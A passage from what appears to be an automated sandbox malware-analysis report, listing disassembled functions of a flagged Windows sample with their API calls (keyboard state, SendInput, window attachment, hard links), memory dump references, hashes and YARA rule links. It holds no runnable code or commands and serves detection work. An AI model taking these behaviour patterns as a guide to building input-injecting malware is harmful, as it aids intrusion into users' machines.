                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: MessageSend
                                      • String ID: msctls_trackbar32
                                      • API String ID: 3850602802-1010561917
                                      • Opcode ID: b1a53ae282d10429069f904a9bb908512d3b22537fbe4690a6db9ceed7a19106
                                      • Instruction ID: 78bfde0ceba91b62b705ddcd87d55be17ac43d773932fe1e66fc16ef6aa2bbe9
                                      • Opcode Fuzzy Hash: b1a53ae282d10429069f904a9bb908512d3b22537fbe4690a6db9ceed7a19106
                                      • Instruction Fuzzy Hash: B0112931254208BEEF105F68CC06FEB3BACEFA9B24F014514FA55E21A0D671DC519B60
                                      Function 00912E95 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 67windowCOMMON
                                      Download Yara Rule
                                      APIs
                                        • Part of subcall function 008B84E7: _wcslen.LIBCMT ref: 008B84FA
                                        • Part of subcall function 00912CEB: SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,?), ref: 00912D09
                                        • Part of subcall function 00912CEB: GetWindowThreadProcessId.USER32(?,00000000), ref: 00912D1A
                                        • Part of subcall function 00912CEB: GetCurrentThreadId.KERNEL32 ref: 00912D21
                                        • Part of subcall function 00912CEB: AttachThreadInput.USER32(00000000,?,00000000,00000000), ref: 00912D28
                                      • GetFocus.USER32 ref: 00912EBB
                                        • Part of subcall function 00912D32: GetParent.USER32(00000000), ref: 00912D3D
                                      • GetClassNameW.USER32(?,?,00000100), ref: 00912F06
                                      • EnumChildWindows.USER32(?,00912F7E), ref: 00912F2E
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Thread$AttachChildClassCurrentEnumFocusInputMessageNameParentProcessSendTimeoutWindowWindows_wcslen
                                      • String ID: %s%d
                                      • API String ID: 1272988791-1110647743
                                      • Opcode ID: 0ae9afda79d4d4ff7ef3c82179cb67f530a86a91bf0078464009c292bc81b07d
                                      • Instruction ID: 64d767cce78093ce3e825a72c6745fa5026e5a6a232635a383dc543f3aab40d8
                                      • Opcode Fuzzy Hash: 0ae9afda79d4d4ff7ef3c82179cb67f530a86a91bf0078464009c292bc81b07d
                                      • Instruction Fuzzy Hash: D511907570020AABCF547F64CC85FED3B6AAF84314F048065BA199A292DE70999ADB70
                                      Function 009457B7 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47windowCOMMON
                                      Download Yara Rule
                                      APIs
                                      • GetMenuItemInfoW.USER32(?,?,?,00000030), ref: 009457F6
                                      • SetMenuItemInfoW.USER32(?,?,?,00000030), ref: 00945823
                                      • DrawMenuBar.USER32(?), ref: 00945832
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Menu$InfoItem$Draw
                                      • String ID: 0
                                      • API String ID: 3227129158-4108050209
                                      • Opcode ID: de840b263b0ff995e1615a6253ed8b6c6a0eb892de74ca069417c066e5f65926
                                      • Instruction ID: 9da4a8adbba314fcf5c9eb35922638afe322d196b4afa51ef93c314d2e9b64ba
                                      • Opcode Fuzzy Hash: de840b263b0ff995e1615a6253ed8b6c6a0eb892de74ca069417c066e5f65926
                                      • Instruction Fuzzy Hash: 5801A932504218EFDB219F90CC44FAE7BB9FB06351F0080A9F909D6252DF348A80EF21
                                      Function 0090DB3C Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 28libraryloaderCOMMON
                                      Download Yara Rule
                                      APIs
                                      • GetProcAddress.KERNEL32(?,GetSystemWow64DirectoryW), ref: 0090DB5B
                                      • FreeLibrary.KERNEL32 ref: 0090DB81
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: AddressFreeLibraryProc
                                      • String ID: GetSystemWow64DirectoryW$X64
                                      • API String ID: 3013587201-2590602151
                                      • Opcode ID: 219cbafbd99f935170be02cc271812dc7470c9eb926c7ba53e347a017222ef8e
                                      • Instruction ID: 23e5b9a98669098ab500bf2780f38eb232505ffa59d0111b8825110426aa9dc9
                                      • Opcode Fuzzy Hash: 219cbafbd99f935170be02cc271812dc7470c9eb926c7ba53e347a017222ef8e
                                      • Instruction Fuzzy Hash: DFE02BB1A0F6219FD772A2940C58EB97368AF05B00F150459F901F71C1E778CD84C684
                                      Function 00933355 Relevance: 6.3, APIs: 4, Instructions: 257COMMON
                                      Download Yara Rule
                                      APIs
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Variant$ClearInitInitializeUninitialize
                                      • String ID:
                                      • API String ID: 1998397398-0
                                      • Opcode ID: 70e7a8a39d9a3e1d9c596ee59a002af06330c7b55b8213e4a37d0a1d28275ed4
                                      • Instruction ID: 1902e4eadca43d29beaf9e3ae77d75e76c8a3199c45599601b67976406580f53
                                      • Opcode Fuzzy Hash: 70e7a8a39d9a3e1d9c596ee59a002af06330c7b55b8213e4a37d0a1d28275ed4
                                      • Instruction Fuzzy Hash: 27A11575604210DFCB10DF68C886A6AB7E9FF89714F048859F98ADB362CB70ED01CB52
                                      Function 0091031F Relevance: 6.2, APIs: 4, Instructions: 230COMMON
                                      Download Yara Rule
                                      APIs
                                      • ProgIDFromCLSID.COMBASE(?,00000000), ref: 009104D9
                                      • CoTaskMemFree.COMBASE(00000000), ref: 009104F1
                                      • CLSIDFromProgID.COMBASE(?,?), ref: 00910516
                                      • _memcmp.LIBVCRUNTIME ref: 00910537
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: FromProg$FreeTask_memcmp
                                      • String ID:
                                      • API String ID: 314563124-0
                                      • Opcode ID: 536e63ab320bddfa77c21f353f2f00bf60ad7eecdcad32698304ceae2e0470e3
                                      • Instruction ID: 818b8876a62045eaec7e1bc63a752db3593f849e9212dd7e03a7371862f6a6e0
                                      • Opcode Fuzzy Hash: 536e63ab320bddfa77c21f353f2f00bf60ad7eecdcad32698304ceae2e0470e3
                                      • Instruction Fuzzy Hash: 5A81FA75A00109EFCB04DF94C984EEEB7B9FF89315F204558F506AB260DB72AE85CB61
                                      Function 008F1331 Relevance: 6.2, APIs: 4, Instructions: 152COMMONLIBRARYCODE
                                      Download Yara Rule
                                      APIs
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: _free
                                      • String ID:
                                      • API String ID: 269201875-0
                                      • Opcode ID: 53c24d7b4b80f792df5c3e341866060261a3d732ca77642f3a23443d3c7ae182
                                      • Instruction ID: 97f0f1cec187c9e0bd842df17820c35a533c6438d2a95d9d57fe5f62b15042ba
                                      • Opcode Fuzzy Hash: 53c24d7b4b80f792df5c3e341866060261a3d732ca77642f3a23443d3c7ae182
                                      • Instruction Fuzzy Hash: 72413C31600648EBDF206BBE8C4DA7E3BA5FF96734F144226F618D6392DA7848415373
                                      Function 00946146 Relevance: 6.1, APIs: 4, Instructions: 138COMMON
                                      Download Yara Rule
                                      APIs
                                      • GetWindowRect.USER32(00BBEED0,?), ref: 009461B0
                                      • ScreenToClient.USER32(?,?), ref: 009461E3
                                      • MoveWindow.USER32(?,?,?,?,000000FF,00000001,?,?,?,?,?), ref: 00946250
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Window$ClientMoveRectScreen
                                      • String ID:
                                      • API String ID: 3880355969-0
                                      • Opcode ID: 6b42fddf6df354f45648cbee8153f37310810da0e29ec35585510d6850cb3644
                                      • Instruction ID: 2826ba03973d7484e16778b94a980c630afd5d2c3a496ab8d21c2ce3fdc1335a
                                      • Opcode Fuzzy Hash: 6b42fddf6df354f45648cbee8153f37310810da0e29ec35585510d6850cb3644
                                      • Instruction Fuzzy Hash: F4515EB5A04209AFCF24DF58D880EAE7BB9FF96360F108159F865D7290D770AD41CB91
                                      Function 008EB3BF Relevance: 6.1, APIs: 4, Instructions: 133COMMON
                                      Download Yara Rule
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 1e3a3c64f7c2f3ddcb4c63ce16bb98967451293978c091b5674b2aeaa9140c11
                                      • Instruction ID: 8e3caf471dc78b2f5f17c30881b60b43170f171f4f057789c4eca8e717dbc8ed
                                      • Opcode Fuzzy Hash: 1e3a3c64f7c2f3ddcb4c63ce16bb98967451293978c091b5674b2aeaa9140c11
                                      • Instruction Fuzzy Hash: 96410471A00348AFD7249F7DC841BABBBE9FB8A714F10462AF511DB2C2D77199018781
                                      Function 009255F7 Relevance: 6.1, APIs: 4, Instructions: 110fileCOMMON
                                      Download Yara Rule
                                      APIs
                                      • CreateHardLinkW.KERNEL32(00000002,?,00000000), ref: 009256A1
                                      • GetLastError.KERNEL32(?,00000000), ref: 009256C7
                                      • DeleteFileW.KERNEL32(00000002,?,00000000), ref: 009256EC
                                      • CreateHardLinkW.KERNEL32(00000002,?,00000000,?,00000000), ref: 00925718
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: CreateHardLink$DeleteErrorFileLast
                                      • String ID:
                                      • API String ID: 3321077145-0
                                      • Opcode ID: 933c9d7776c2a221f630d635872ac88487c0da99bae364591a581305a9950b98
                                      • Instruction ID: b26be80edcf481364e9c1f0bc8cda7eb9afda711a80045ef9f442857bac2169a
                                      • Opcode Fuzzy Hash: 933c9d7776c2a221f630d635872ac88487c0da99bae364591a581305a9950b98
                                      • Instruction Fuzzy Hash: 38413E39600A10DFCB21DF58C444A5DBBE6FF89710B198498E94AAB365CB74FD01CB92
                                      Function 008ED863 Relevance: 6.1, APIs: 4, Instructions: 110COMMON
                                      Download Yara Rule
                                      APIs
                                      • MultiByteToWideChar.KERNEL32(?,00000000,8BE85006,008D6D01,00000000,00000000,008D8269,?,008D8269,?,00000001,008D6D01,8BE85006,00000001,008D8269,008D8269), ref: 008ED8B0
                                      • MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 008ED939
                                      • GetStringTypeW.KERNEL32(?,00000000,00000000,?), ref: 008ED94B
                                      • __freea.LIBCMT ref: 008ED954
                                        • Part of subcall function 008E37B0: RtlAllocateHeap.NTDLL(00000000,?,00000001), ref: 008E37E2
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: ByteCharMultiWide$AllocateHeapStringType__freea
                                      • String ID:
                                      • API String ID: 2652629310-0
                                      • Opcode ID: 0556611a443b5a98a20ece3bc11ef8ced1b0e410dbdbb6f2b3a4f0df37e38c77
                                      • Instruction ID: a519db1745156f1047f9f8ffeda1cf39c508ba56c4c054b76f70dbd3f2ef32a3
                                      • Opcode Fuzzy Hash: 0556611a443b5a98a20ece3bc11ef8ced1b0e410dbdbb6f2b3a4f0df37e38c77
                                      • Instruction Fuzzy Hash: 5E31E172A0025AAFDF249F66CC45EAE7BA5FB02310F054169FC18D7251EB35DD54CBA0
                                      Function 009451F6 Relevance: 6.1, APIs: 4, Instructions: 104windowCOMMON
                                      Download Yara Rule
                                      APIs
                                      • SendMessageW.USER32(?,00001024,00000000,?), ref: 00945287
                                      • GetWindowLongW.USER32(?,000000F0), ref: 009452AA
                                      • SetWindowLongW.USER32(?,000000F0,00000000), ref: 009452B7
                                      • InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 009452DD
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: LongWindow$InvalidateMessageRectSend
                                      • String ID:
                                      • API String ID: 3340791633-0
                                      • Opcode ID: 8b3f9d783d2aa32fff4c750bf7d5a2c1cd31f249a4dbf3ffa85905e6113262e1
                                      • Instruction ID: e631ce9370dd979836434e57b396e7c73234058065754c2ba5aa6b8b760c2fd3
                                      • Opcode Fuzzy Hash: 8b3f9d783d2aa32fff4c750bf7d5a2c1cd31f249a4dbf3ffa85905e6113262e1
                                      • Instruction Fuzzy Hash: A131B274A55A0CFFEB349F94CC45FE83769BB06750F554103F621962E2C3B4A940AB41
                                      Function 0091AABA Relevance: 6.1, APIs: 4, Instructions: 103keyboardwindowCOMMON
                                      Download Yara Rule
                                      APIs
                                      • GetKeyboardState.USER32(?,75C0C0D0,?,00008000), ref: 0091AB0F
                                      • SetKeyboardState.USER32(00000080,?,00008000), ref: 0091AB2B
                                      • PostMessageW.USER32(00000000,00000101,00000000), ref: 0091AB92
                                      • SendInput.USER32(00000001,?,0000001C,75C0C0D0,?,00008000), ref: 0091ABE4
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: KeyboardState$InputMessagePostSend
                                      • String ID:
                                      • API String ID: 432972143-0
                                      • Opcode ID: 4239209029af6c4f4f6e7941b5dd0eb07c87c32b58b0d4943a9f99563cacd6ba
                                      • Instruction ID: 652ec123bd692c29af26680c58e100d105046dee8d18f4658eafb6d54893a784
                                      • Opcode Fuzzy Hash: 4239209029af6c4f4f6e7941b5dd0eb07c87c32b58b0d4943a9f99563cacd6ba
                                      • Instruction Fuzzy Hash: 57313970B8938CAEEF218B258815BFE7B6FAB85320F04421AE494521D1D3788DC59752
                                      Function 00947543 Relevance: 6.1, APIs: 4, Instructions: 102windowCOMMON
                                      Download Yara Rule
                                      APIs
                                      • ClientToScreen.USER32(?,?), ref: 00947569
                                      • GetWindowRect.USER32(?,?), ref: 009475DF
                                      • PtInRect.USER32(?,?,00948A7B), ref: 009475EF
                                      • MessageBeep.USER32(00000000), ref: 0094765B
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Rect$BeepClientMessageScreenWindow
                                      • String ID:
                                      • API String ID: 1352109105-0
                                      • Opcode ID: dea3d44a5e3b0d797ffd0973c510f0fde9e27af11111a12f4b78bb0b118ccaa4
                                      • Instruction ID: d712b9f923c1619d22237894e5195423b41f5b61349d3b90459cccf9c593b934
                                      • Opcode Fuzzy Hash: dea3d44a5e3b0d797ffd0973c510f0fde9e27af11111a12f4b78bb0b118ccaa4
                                      • Instruction Fuzzy Hash: 7541AC34A09619DFCB05DF9CE884EA9B7FAFF49300F1641A9E8149B261C731E942DF91
                                      Function 0094160D Relevance: 6.1, APIs: 4, Instructions: 101COMMON
                                      Download Yara Rule
                                      APIs
                                      • GetForegroundWindow.USER32 ref: 0094161E
                                        • Part of subcall function 00913985: GetWindowThreadProcessId.USER32(?,00000000), ref: 0091399F
                                        • Part of subcall function 00913985: GetCurrentThreadId.KERNEL32 ref: 009139A6
                                        • Part of subcall function 00913985: AttachThreadInput.USER32(00000000,?,00000000,00000000,?,009124F7), ref: 009139AD
                                      • GetCaretPos.USER32(?), ref: 00941632
                                      • ClientToScreen.USER32(00000000,?), ref: 0094167F
                                      • GetForegroundWindow.USER32 ref: 00941685
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: ThreadWindow$Foreground$AttachCaretClientCurrentInputProcessScreen
                                      • String ID:
                                      • API String ID: 2759813231-0
                                      • Opcode ID: e09efc2f66fe3bd8097c116498e1005d6e6ddef08d2d047fd233abf91a49c381
                                      • Instruction ID: 60dd130ef6e508e5b422303db20777956179bab12d2a18f1ac2e76776a9ed240
                                      • Opcode Fuzzy Hash: e09efc2f66fe3bd8097c116498e1005d6e6ddef08d2d047fd233abf91a49c381
